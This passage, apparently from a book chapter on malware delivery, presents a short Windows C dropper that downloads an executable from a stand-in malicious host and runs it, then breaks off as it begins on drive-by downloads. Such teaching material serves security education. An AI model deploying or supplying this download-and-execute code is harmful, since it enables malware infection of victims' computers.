The art of deceiving a victim’s systems

We’ll provide some simple examples of malware delivery techniques. Note that these are simplified examples and concepts; real-world malware often employs more sophisticated strategies and evasion techniques, which you can read about in future chapters:

• Download and execute malware from a remote server: A malware might be hosted on a remote server and a dropper program can be used to download and execute it:

  #include <windows.h>
  #include <urlmon.h>
  #pragma comment(lib, "urlmon.lib")
  int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow) {
    URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe", "C:\\temp\\malware.exe", 0, NULL);
    ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL, NULL, SW_SHOWNORMAL);
    return 0;
  }

• Drive by downloads (malicious web sites): When...